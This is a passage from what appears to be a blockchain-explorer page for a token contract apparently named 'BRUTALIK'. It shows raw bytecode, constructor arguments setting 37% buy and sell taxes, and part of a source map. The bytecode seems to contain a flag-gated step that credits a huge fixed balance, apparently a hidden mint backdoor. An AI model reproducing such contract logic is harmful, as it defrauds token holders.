60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059c565b60055460009060ff16156108af576015546001600160a01b038481169116148061085057506016546001600160a01b038481169116145b156108af576005546001600160a01b0385811661010090920416146108af5760405162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015260640161059c565b6016546001600160a01b0385811691161480156108da57506015546001600160a01b03848116911614155b80156108ff57506001600160a01b03831660009081526003602052604090205460ff16155b156109e7576011548211156109565760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d61785478416d6f756e740000000000000000604482015260640161059c565b60125482610979856001600160a01b031660009081526001602052604090205490565b6109839190611402565b11156109d15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865206d617857616c6c657453697a6500000000000000604482015260640161059c565b600a80549060006109e18361141a565b91905055505b600b54158015610a0457506016546001600160a01b038481169116145b8015610a2257506005546001600160a01b0385811661010090920416145b15610a6b57610a536064610a4d600c54600a5414610a4257600e54610a46565b6007545b85906105ae565b906105c1565b600b80549192506000610a658361141a565b91905055505b6016546001600160a01b038481169116148015610a9157506001600160a01b0384163014155b8015610ab657506001600160a01b03841660009081526003602052604090205460ff16155b15610ae757610ae06064610a4d600d54600a5411610ad657600f54610a46565b60085485906105ae565b9050610b40565b6016546001600160a01b038581169116148015610b1d57506001600160a01b03831660009081526003602052604090205460ff16155b15610b4057610b3d6064610a4d600c54600a5411610a4257600e54610a46565b90505b30600090815260016020526040902054601654600160a81b900460ff16158015610b7757506016546001600160a01b038581169116145b8015610b8c5750601654600160b01b900460ff165b8015610b99575060135481115b8015610ba85750600954600a54115b15610c6c57610bca610bc584610bc084601454610e22565b610e22565b610e37565b478015610bda57610bda47610de4565b601054600a60ff90911610610c1057610bf56008600a6113b2565b610c0290620a9ebb6113c1565b6014556010805460ff191690555b610c1c6008600a6113b2565b610c28906177e26113c1565b60146000828254610c399190611402565b90915550506010805460ff16906000610c5183611435565b91906101000a81548160ff021916908360ff16021790555050505b601654600160b81b900460ff16610cc0576001600160a01b03841660009081526004602052604090205460ff1615610cc05760168054600160b81b60ff600160a81b830416150260ff60b81b199091161790555b6001600160a01b038416600090815260046020526040902054601654610d079187918791879160ff91821691600160b81b9091041615610d01576000610fe1565b86610fe1565b5050505050565b60008184841115610d325760405162461bcd60e51b815260040161059c9190611169565b505050900390565b6000546001600160a01b0316331461050f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161059c565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e1e573d6000803e3d6000fd5b5050565b6000818311610e3157826105ba565b50919050565b6016805460ff60a81b1916600160a81b17905580610e5457610fd1565b601654600160a01b900460ff16610e6a57610fd1565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e9f57610e9f611455565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ef357600080fd5b505afa158015610f07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2b919061146b565b81600181518110610f3e57610f3e611455565b6001600160a01b039283166020918202929092010152601554610f6491309116846105cd565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9d908590600090869030904290600401611488565b600060405180830381600087803b158015610fb757600080fd5b505af1158015610fcb573d6000803e3d6000fd5b50505050505b506016805460ff60a81b19169055565b801561101257306000908152600160205260409020546110019082611151565b306000908152600160205260409020555b6001600160a01b038516600090815260016020526040902054611035908461115d565b6001600160a01b0386166000908152600160205260409020556110ad61107d61105e858461115d565b6001600160a01b03871660009081526001602052604090205490611151565b83611089576000611098565b6c0c9f2c9cd04674edea400000005b6cffffffffffffffffffffffffff1690611151565b6001600160a01b0385166000818152600160205260409020919091553014806110f657506001600160a01b038516301480156110f657506016546001600160a01b038581169116145b1561110057610d07565b6001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611139868561115d565b60405190815260200160405180910390a35050505050565b60006105ba8284611402565b60006105ba82846114f9565b600060208083528351808285015260005b818110156111965785810183015185820160400152820161117a565b818111156111a8576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052357600080fd5b600080604083850312156111e657600080fd5b82356111f1816111be565b946020939093013593505050565b60006020828403121561121157600080fd5b813580151581146105ba57600080fd5b60008060006060848603121561123657600080fd5b8335611241816111be565b92506020840135611251816111be565b929592945050506040919091013590565b60006020828403121561127457600080fd5b81356105ba816111be565b6000806040838503121561129257600080fd5b823561129d816111be565b915060208301356112ad816111be565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156113095781600019048211156112ef576112ef6112b8565b808516156112fc57918102915b93841c93908002906112d3565b509250929050565b600082611320575060016103ba565b8161132d575060006103ba565b8160018114611343576002811461134d57611369565b60019150506103ba565b60ff84111561135e5761135e6112b8565b50506001821b6103ba565b5060208310610133831016604e8410600b841016171561138c575081810a6103ba565b61139683836112ce565b80600019048211156113aa576113aa6112b8565b029392505050565b60006105ba60ff841683611311565b60008160001904831182151516156113db576113db6112b8565b500290565b6000826113fd57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611415576114156112b8565b500190565b600060001982141561142e5761142e6112b8565b5060010190565b600060ff821660ff81141561144c5761144c6112b8565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561147d57600080fd5b81516105ba816111be565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114d85784516001600160a01b0316835293830193918301916001016114b3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008282101561150b5761150b6112b8565b50039056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206fafc297ea40e888d10a140c6935818293f3af8850f2028e6420e43eeb3cc73264736f6c63430008090033000000000000000000000000000000000000000000000000000000000000002500000000000000000000000000000000000000000000000000000000000000250000000000000000000000008777dc096b295b773d53c333d95a52187325c77c000000000000000000000000bf7420c91045abe8a1cf2f53480e7dbb5d223a87
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b4114610124578063a9059cbb1461030d578063bf474bed1461032d578063dd62ed3e14610343578063f2fde38b1461038957600080fd5b8063715018a6146102995780637d1db4a5146102ae5780638505ceca146102c45780638da5cb5b146102d95780638f9a55c0146102f757600080fd5b806318160ddd116100e757806318160ddd146101da57806323b872dd146101ef578063313ce5671461020f57806349bd5a5e1461022b57806370a082311461026357600080fd5b806306fdde0314610124578063095ea7b3146101645780630faee56f1461019457806317090ec8146101b857600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600881526742525554414c494b60c01b6020820152905161015b9190611169565b60405180910390f35b34801561017057600080fd5b5061018461017f3660046111d3565b6103a9565b604051901515815260200161015b565b3480156101a057600080fd5b506101aa60145481565b60405190815260200161015b565b3480156101c457600080fd5b506101d86101d33660046111ff565b6103c0565b005b3480156101e657600080fd5b506101aa610473565b3480156101fb57600080fd5b5061018461020a366004611221565b610494565b34801561021b57600080fd5b506040516008815260200161015b565b34801561023757600080fd5b5060165461024b906001600160a01b031681565b6040516001600160a01b03909116815260200161015b565b34801561026f57600080fd5b506101aa61027e366004611262565b6001600160a01b031660009081526001602052604090205490565b3480156102a557600080fd5b506101d86104fd565b3480156102ba57600080fd5b506101aa60115481565b3480156102d057600080fd5b506101d8610511565b3480156102e557600080fd5b506000546001600160a01b031661024b565b34801561030357600080fd5b506101aa60125481565b34801561031957600080fd5b506101846103283660046111d3565b610526565b34801561033957600080fd5b506101aa60135481565b34801561034f57600080fd5b506101aa61035e36600461127f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039557600080fd5b506101d86103a4366004611262565b610533565b60006103b63384846105cd565b5060015b92915050565b60055461010090046001600160a01b031633146103dc57600080fd5b6103e86008600a6113b2565b6103f6906305f5e1006113c1565b6011556104056008600a6113b2565b610413906305f5e1006113c1565b6012556005805460ff19168215151790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104516008600a6113b2565b61045f906305f5e1006113c1565b60405190815260200160405180910390a150565b60006104816008600a6113b2565b61048f906305f5e1006113c1565b905090565b60006104a18484846106f1565b6104f384336104ee85604051806060016040528060288152602001611511602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d0e565b6105cd565b5060019392505050565b610505610d3a565b61050f6000610d94565b565b610519610d3a565b4761052381610de4565b50565b60006103b63384846106f1565b61053b610d3a565b6001600160a01b0381166105a55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61052381610d94565b60006105ba82846113c1565b9392505050565b60006105ba82846113e0565b6001600160a01b03831661062f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059c565b6001600160a01b0382166106905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059c565b6001600160a01b0382166107b75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059c565b600081116108195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059c565b60055460009060ff16156108af576015546001600160a01b038481169116148061085057506016546001600160a01b038481169116145b156108af576005546001600160a01b0385811661010090920416146108af5760405162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015260640161059c565b6016546001600160a01b0385811691161480156108da57506015546001600160a01b03848116911614155b80156108ff57506001600160a01b03831660009081526003602052604090205460ff16155b156109e7576011548211156109565760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d61785478416d6f756e740000000000000000604482015260640161059c565b60125482610979856001600160a01b031660009081526001602052604090205490565b6109839190611402565b11156109d15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865206d617857616c6c657453697a6500000000000000604482015260640161059c565b600a80549060006109e18361141a565b91905055505b600b54158015610a0457506016546001600160a01b038481169116145b8015610a2257506005546001600160a01b0385811661010090920416145b15610a6b57610a536064610a4d600c54600a5414610a4257600e54610a46565b6007545b85906105ae565b906105c1565b600b80549192506000610a658361141a565b91905055505b6016546001600160a01b038481169116148015610a9157506001600160a01b0384163014155b8015610ab657506001600160a01b03841660009081526003602052604090205460ff16155b15610ae757610ae06064610a4d600d54600a5411610ad657600f54610a46565b60085485906105ae565b9050610b40565b6016546001600160a01b038581169116148015610b1d57506001600160a01b03831660009081526003602052604090205460ff16155b15610b4057610b3d6064610a4d600c54600a5411610a4257600e54610a46565b90505b30600090815260016020526040902054601654600160a81b900460ff16158015610b7757506016546001600160a01b038581169116145b8015610b8c5750601654600160b01b900460ff165b8015610b99575060135481115b8015610ba85750600954600a54115b15610c6c57610bca610bc584610bc084601454610e22565b610e22565b610e37565b478015610bda57610bda47610de4565b601054600a60ff90911610610c1057610bf56008600a6113b2565b610c0290620a9ebb6113c1565b6014556010805460ff191690555b610c1c6008600a6113b2565b610c28906177e26113c1565b60146000828254610c399190611402565b90915550506010805460ff16906000610c5183611435565b91906101000a81548160ff021916908360ff16021790555050505b601654600160b81b900460ff16610cc0576001600160a01b03841660009081526004602052604090205460ff1615610cc05760168054600160b81b60ff600160a81b830416150260ff60b81b199091161790555b6001600160a01b038416600090815260046020526040902054601654610d079187918791879160ff91821691600160b81b9091041615610d01576000610fe1565b86610fe1565b5050505050565b60008184841115610d325760405162461bcd60e51b815260040161059c9190611169565b505050900390565b6000546001600160a01b0316331461050f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161059c565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e1e573d6000803e3d6000fd5b5050565b6000818311610e3157826105ba565b50919050565b6016805460ff60a81b1916600160a81b17905580610e5457610fd1565b601654600160a01b900460ff16610e6a57610fd1565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e9f57610e9f611455565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ef357600080fd5b505afa158015610f07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2b919061146b565b81600181518110610f3e57610f3e611455565b6001600160a01b039283166020918202929092010152601554610f6491309116846105cd565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9d908590600090869030904290600401611488565b600060405180830381600087803b158015610fb757600080fd5b505af1158015610fcb573d6000803e3d6000fd5b50505050505b506016805460ff60a81b19169055565b801561101257306000908152600160205260409020546110019082611151565b306000908152600160205260409020555b6001600160a01b038516600090815260016020526040902054611035908461115d565b6001600160a01b0386166000908152600160205260409020556110ad61107d61105e858461115d565b6001600160a01b03871660009081526001602052604090205490611151565b83611089576000611098565b6c0c9f2c9cd04674edea400000005b6cffffffffffffffffffffffffff1690611151565b6001600160a01b0385166000818152600160205260409020919091553014806110f657506001600160a01b038516301480156110f657506016546001600160a01b038581169116145b1561110057610d07565b6001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611139868561115d565b60405190815260200160405180910390a35050505050565b60006105ba8284611402565b60006105ba82846114f9565b600060208083528351808285015260005b818110156111965785810183015185820160400152820161117a565b818111156111a8576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052357600080fd5b600080604083850312156111e657600080fd5b82356111f1816111be565b946020939093013593505050565b60006020828403121561121157600080fd5b813580151581146105ba57600080fd5b60008060006060848603121561123657600080fd5b8335611241816111be565b92506020840135611251816111be565b929592945050506040919091013590565b60006020828403121561127457600080fd5b81356105ba816111be565b6000806040838503121561129257600080fd5b823561129d816111be565b915060208301356112ad816111be565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156113095781600019048211156112ef576112ef6112b8565b808516156112fc57918102915b93841c93908002906112d3565b509250929050565b600082611320575060016103ba565b8161132d575060006103ba565b8160018114611343576002811461134d57611369565b60019150506103ba565b60ff84111561135e5761135e6112b8565b50506001821b6103ba565b5060208310610133831016604e8410600b841016171561138c575081810a6103ba565b61139683836112ce565b80600019048211156113aa576113aa6112b8565b029392505050565b60006105ba60ff841683611311565b60008160001904831182151516156113db576113db6112b8565b500290565b6000826113fd57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611415576114156112b8565b500190565b600060001982141561142e5761142e6112b8565b5060010190565b600060ff821660ff81141561144c5761144c6112b8565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561147d57600080fd5b81516105ba816111be565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114d85784516001600160a01b0316835293830193918301916001016114b3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008282101561150b5761150b6112b8565b50039056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206fafc297ea40e888d10a140c6935818293f3af8850f2028e6420e43eeb3cc73264736f6c63430008090033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000002500000000000000000000000000000000000000000000000000000000000000250000000000000000000000008777dc096b295b773d53c333d95a52187325c77c000000000000000000000000bf7420c91045abe8a1cf2f53480e7dbb5d223a87
-----Decoded View---------------
Arg [0] : _buy (uint256): 37
Arg [1] : _sell (uint256): 37
Arg [2] : _devAddress (address): 0x8777dc096b295b773d53C333d95A52187325c77C
Arg [3] : _address (address): 0xbf7420C91045AbE8a1CF2F53480e7dBb5D223a87
-----Encoded View---------------
4 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000025
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000025
Arg [2] : 0000000000000000000000008777dc096b295b773d53c333d95a52187325c77c
Arg [3] : 000000000000000000000000bf7420c91045abe8a1cf2f53480e7dbb5d223a87
Deployed Bytecode Sourcemap
239:8388:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2769:81;;;;;;;;;;-1:-1:-1;2838:5:0;;;;;;;;;;;-1:-1:-1;;;2838:5:0;;;;2769:81;;;;2838:5;2769:81;:::i;:::-;;;;;;;;3573:158;;;;;;;;;;-1:-1:-1;3573:158:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:8;;1230:22;1212:41;;1200:2;1185:18;3573:158:0;1072:187:8;1419:53:0;;;;;;;;;;;;;;;;;;;1410:25:8;;;1398:2;1383:18;1419:53:0;1264:177:8;8104:230:0;;;;;;;;;;-1:-1:-1;8104:230:0;;;;;:::i;:::-;;:::i;:::-;;3034:93;;;;;;;;;;;;;:::i;3737:309::-;;;;;;;;;;-1:-1:-1;3737:309:0;;;;;:::i;:::-;;:::i;2947:81::-;;;;;;;;;;-1:-1:-1;2947:81:0;;458:1;2327:36:8;;2315:2;2300:18;2947:81:0;2185:184:8;1527:28:0;;;;;;;;;;-1:-1:-1;1527:28:0;;;;-1:-1:-1;;;;;1527:28:0;;;;;;-1:-1:-1;;;;;2538:32:8;;;2520:51;;2508:2;2493:18;1527:28:0;2374:203:8;3133:117:0;;;;;;;;;;-1:-1:-1;3133:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;3225:18:0;3199:7;3225:18;;;:9;:18;;;;;;;3133:117;1824:101:6;;;;;;;;;;;;;:::i;1231:55:0:-;;;;;;;;;;;;;;;;8436:153;;;;;;;;;;;;;:::i;1194:85:6:-;;;;;;;;;;-1:-1:-1;1240:7:6;1266:6;-1:-1:-1;;;;;1266:6:6;1194:85;;1292:57:0;;;;;;;;;;;;;;;;3256:164;;;;;;;;;;-1:-1:-1;3256:164:0;;;;;:::i;:::-;;:::i;1355:58::-;;;;;;;;;;;;;;;;3426:141;;;;;;;;;;-1:-1:-1;3426:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;3533:18:0;;;3507:7;3533:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3426:141;2074:198:6;;;;;;;;;;-1:-1:-1;2074:198:6;;;;;:::i;:::-;;:::i;3573:158:0:-;3648:4;3664:39;736:10:1;3687:7:0;3696:6;3664:8;:39::i;:::-;-1:-1:-1;3720:4:0;3573:158;;;;;:::o;8104:230::-;8179:10;;;;;-1:-1:-1;;;;;8179:10:0;8165;:24;8157:33;;;;;;1209:15;458:1;1209:2;:15;:::i;:::-;1197:27;;:9;:27;:::i;:::-;8200:12;:22;1209:15;458:1;1209:2;:15;:::i;:::-;1197:27;;:9;:27;:::i;:::-;8232:14;:24;8266:11;:19;;-1:-1:-1;;8266:19:0;;;;;;;8300:27;1209:15;458:1;1209:2;:15;:::i;:::-;1197:27;;:9;:27;:::i;:::-;8300;;1410:25:8;;;1398:2;1383:18;8300:27:0;;;;;;;8104:230;:::o;3034:93::-;3087:7;1209:15;458:1;1209:2;:15;:::i;:::-;1197:27;;:9;:27;:::i;:::-;3106:14;;3034:93;:::o;3737:309::-;3835:4;3851:36;3861:6;3869:9;3880:6;3851:9;:36::i;:::-;3897:121;3906:6;736:10:1;3928:89:0;3966:6;3928:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3928:19:0;;;;;;:11;:19;;;;;;;;736:10:1;3928:33:0;;;;;;;;;;:37;:89::i;:::-;3897:8;:121::i;:::-;-1:-1:-1;4035:4:0;3737:309;;;;;:::o;1824:101:6:-;1087:13;:11;:13::i;:::-;1888:30:::1;1915:1;1888:18;:30::i;:::-;1824:101::o:0;8436:153:0:-;1087:13:6;:11;:13::i;:::-;8519:21:0::1;8550:32;8519:21:::0;8550:12:::1;:32::i;:::-;8480:109;8436:153::o:0;3256:164::-;3334:4;3350:42;736:10:1;3374:9:0;3385:6;3350:9;:42::i;2074:198:6:-;1087:13;:11;:13::i;:::-;-1:-1:-1;;;;;2162:22:6;::::1;2154:73;;;::::0;-1:-1:-1;;;2154:73:6;;5117:2:8;2154:73:6::1;::::0;::::1;5099:21:8::0;5156:2;5136:18;;;5129:30;5195:34;5175:18;;;5168:62;-1:-1:-1;;;5246:18:8;;;5239:36;5292:19;;2154:73:6::1;;;;;;;;;2237:28;2256:8;2237:18;:28::i;3465:96:7:-:0;3523:7;3549:5;3553:1;3549;:5;:::i;:::-;3542:12;3465:96;-1:-1:-1;;;3465:96:7:o;3850:::-;3908:7;3934:5;3938:1;3934;:5;:::i;4052:330:0:-;-1:-1:-1;;;;;4144:19:0;;4136:68;;;;-1:-1:-1;;;4136:68:0;;5746:2:8;4136:68:0;;;5728:21:8;5785:2;5765:18;;;5758:30;5824:34;5804:18;;;5797:62;-1:-1:-1;;;5875:18:8;;;5868:34;5919:19;;4136:68:0;5544:400:8;4136:68:0;-1:-1:-1;;;;;4222:21:0;;4214:68;;;;-1:-1:-1;;;4214:68:0;;6151:2:8;4214:68:0;;;6133:21:8;6190:2;6170:18;;;6163:30;6229:34;6209:18;;;6202:62;-1:-1:-1;;;6280:18:8;;;6273:32;6322:19;;4214:68:0;5949:398:8;4214:68:0;-1:-1:-1;;;;;4292:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4343:32;;1410:25:8;;;4343:32:0;;1383:18:8;4343:32:0;;;;;;;4052:330;;;:::o;4388:2427::-;-1:-1:-1;;;;;4475:18:0;;4467:68;;;;-1:-1:-1;;;4467:68:0;;6554:2:8;4467:68:0;;;6536:21:8;6593:2;6573:18;;;6566:30;6632:34;6612:18;;;6605:62;-1:-1:-1;;;6683:18:8;;;6676:35;6728:19;;4467:68:0;6352:401:8;4467:68:0;-1:-1:-1;;;;;4553:16:0;;4545:64;;;;-1:-1:-1;;;4545:64:0;;6960:2:8;4545:64:0;;;6942:21:8;6999:2;6979:18;;;6972:30;7038:34;7018:18;;;7011:62;-1:-1:-1;;;7089:18:8;;;7082:33;7132:19;;4545:64:0;6758:399:8;4545:64:0;4636:1;4627:6;:10;4619:64;;;;-1:-1:-1;;;4619:64:0;;7364:2:8;4619:64:0;;;7346:21:8;7403:2;7383:18;;;7376:30;7442:34;7422:18;;;7415:62;-1:-1:-1;;;7493:18:8;;;7486:39;7542:19;;4619:64:0;7162:405:8;4619:64:0;4729:11;;4693:17;;4729:11;;4725:194;;;4774:15;;-1:-1:-1;;;;;4760:30:0;;;4774:15;;4760:30;;:62;;-1:-1:-1;4808:13:0;;-1:-1:-1;;;;;4794:28:0;;;4808:13;;4794:28;4760:62;4756:153;;;4858:10;;-1:-1:-1;;;;;4850:18:0;;;4858:10;;;;;4850:18;4842:52;;;;-1:-1:-1;;;4842:52:0;;7774:2:8;4842:52:0;;;7756:21:8;7813:2;7793:18;;;7786:30;-1:-1:-1;;;7832:18:8;;;7825:51;7893:18;;4842:52:0;7572:345:8;4842:52:0;4947:13;;-1:-1:-1;;;;;4939:21:0;;;4947:13;;4939:21;:55;;;;-1:-1:-1;4978:15:0;;-1:-1:-1;;;;;4964:30:0;;;4978:15;;4964:30;;4939:55;:82;;;;-1:-1:-1;;;;;;4999:22:0;;;;;;:18;:22;;;;;;;;4998:23;4939:82;4935:306;;;5060:12;;5050:6;:22;;5042:59;;;;-1:-1:-1;;;5042:59:0;;8124:2:8;5042:59:0;;;8106:21:8;8163:2;8143:18;;;8136:30;8202:26;8182:18;;;8175:54;8246:18;;5042:59:0;7922:348:8;5042:59:0;5153:14;;5143:6;5127:13;5137:2;-1:-1:-1;;;;;3225:18:0;3199:7;3225:18;;;:9;:18;;;;;;;3133:117;5127:13;:22;;;;:::i;:::-;:40;;5119:78;;;;-1:-1:-1;;;5119:78:0;;8610:2:8;5119:78:0;;;8592:21:8;8649:2;8629:18;;;8622:30;8688:27;8668:18;;;8661:55;8733:18;;5119:78:0;8408:349:8;5119:78:0;5215:9;:11;;;:9;:11;;;:::i;:::-;;;;;;4935:306;5259:6;;:11;:34;;;;-1:-1:-1;5280:13:0;;-1:-1:-1;;;;;5274:19:0;;;5280:13;;5274:19;5259:34;:56;;;;-1:-1:-1;5305:10:0;;-1:-1:-1;;;;;5297:18:0;;;5305:10;;;;;5297:18;5259:56;5255:211;;;5359:66;5421:3;5359:57;5384:6;;5371:9;;:19;5370:45;;5404:11;;5370:45;;;5394:7;;5370:45;5359:6;;:10;:57::i;:::-;:61;;:66::i;:::-;5443:6;:8;;5347:78;;-1:-1:-1;5443:6:0;:8;;;:::i;:::-;;;;;;5255:211;5490:13;;-1:-1:-1;;;;;5484:19:0;;;5490:13;;5484:19;:44;;;;-1:-1:-1;;;;;;5507:21:0;;5523:4;5507:21;;5484:44;:73;;;;-1:-1:-1;;;;;;5533:24:0;;;;;;:18;:24;;;;;;;;5532:25;5484:73;5480:361;;;5589:67;5652:3;5589:58;5613:6;;5601:9;;:18;5600:46;;5634:12;;5600:46;;;5623:8;;5589:6;;:10;:58::i;:67::-;5577:79;;5480:361;;;5689:13;;-1:-1:-1;;;;;5681:21:0;;;5689:13;;5681:21;:48;;;;-1:-1:-1;;;;;;5707:22:0;;;;;;:18;:22;;;;;;;;5706:23;5681:48;5677:164;;;5761:65;5822:3;5761:56;5785:6;;5773:9;;:18;5772:44;;5805:11;;5772:44;;5761:65;5749:77;;5677:164;5904:4;5855:28;3225:18;;;:9;:18;;;;;;5929:6;;-1:-1:-1;;;5929:6:0;;;;5928:7;:30;;;;-1:-1:-1;5945:13:0;;-1:-1:-1;;;;;5939:19:0;;;5945:13;;5939:19;5928:30;:45;;;;-1:-1:-1;5962:11:0;;-1:-1:-1;;;5962:11:0;;;;5928:45;:89;;;;;6000:17;;5977:20;:40;5928:89;:118;;;;;6033:13;;6021:9;;:25;5928:118;5924:693;;;6066:69;6083:51;6087:6;6095:38;6099:20;6121:11;;6095:3;:38::i;:::-;6083:3;:51::i;:::-;6066:16;:69::i;:::-;6182:21;6225:22;;6221:104;;6271:35;6284:21;6271:12;:35::i;:::-;6363:10;;6377:2;6363:10;;;;:16;6359:156;;6426:15;458:1;6426:2;:15;:::i;:::-;6417:24;;:6;:24;:::i;:::-;6403:11;:38;6463:10;:14;;-1:-1:-1;;6463:14:0;;;6359:156;6556:15;458:1;6556:2;:15;:::i;:::-;6548:23;;:5;:23;:::i;:::-;6533:11;;:38;;;;;;;:::i;:::-;;;;-1:-1:-1;;6589:10:0;:13;;;;;:10;:13;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;6048:569;5924:693;6639:17;;-1:-1:-1;;;6639:17:0;;;;6634:81;;-1:-1:-1;;;;;6663:19:0;;;;;;:15;:19;;;;;;;;6659:55;;;6706:6;;;-1:-1:-1;;;6706:6:0;-1:-1:-1;;;6706:6:0;;;6705:7;6685:27;-1:-1:-1;;;;6685:27:0;;;;;;6659:55;-1:-1:-1;;;;;6750:19:0;;;;;;:15;:19;;;;;;6773:17;;6725:83;;6732:4;;6738:2;;6742:6;;6750:19;;;;;-1:-1:-1;;;6773:17:0;;;;6772:18;:34;;6805:1;6725:6;:83::i;6772:34::-;6793:9;6725:6;:83::i;:::-;4457:2358;;4388:2427;;;:::o;4959:231:7:-;5075:7;5134:12;5126:6;;;;5118:29;;;;-1:-1:-1;;;5118:29:7;;;;;;;;:::i;:::-;-1:-1:-1;;;5168:5:7;;;4959:231::o;1352:130:6:-;1240:7;1266:6;-1:-1:-1;;;;;1266:6:6;736:10:1;1415:23:6;1407:68;;;;-1:-1:-1;;;1407:68:6;;9284:2:8;1407:68:6;;;9266:21:8;;;9303:18;;;9296:30;9362:34;9342:18;;;9335:62;9414:18;;1407:68:6;9082:356:8;2426:187:6;2499:16;2518:6;;-1:-1:-1;;;;;2534:17:6;;;-1:-1:-1;;;;;;2534:17:6;;;;;;2566:40;;2518:6;;;;;;;2566:40;;2499:16;2566:40;2489:124;2426:187;:::o;8340:90:0:-;8396:10;;:27;;-1:-1:-1;;;;;8396:10:0;;;;:27;;;;;8416:6;;8396:10;:27;:10;:27;8416:6;8396:10;:27;;;;;;;;;;;;;;;;;;;;;8340:90;:::o;7390:103::-;7447:7;7476:1;7472;:5;7470:16;;7485:1;7470:16;;;-1:-1:-1;7481:1:0;7390:103;-1:-1:-1;7390:103:0:o;7499:599::-;1802:6;:13;;-1:-1:-1;;;;1802:13:0;-1:-1:-1;;;1802:13:0;;;7580:16;7576:57:::1;;7612:7;;7576:57;7647:11;::::0;-1:-1:-1;;;7647:11:0;::::1;;;7642:53;;7674:7;;7642:53;7728:16;::::0;;7742:1:::1;7728:16:::0;;;;;::::1;::::0;;7704:21:::1;::::0;7728:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7728:16:0::1;7704:40;;7772:4;7754;7759:1;7754:7;;;;;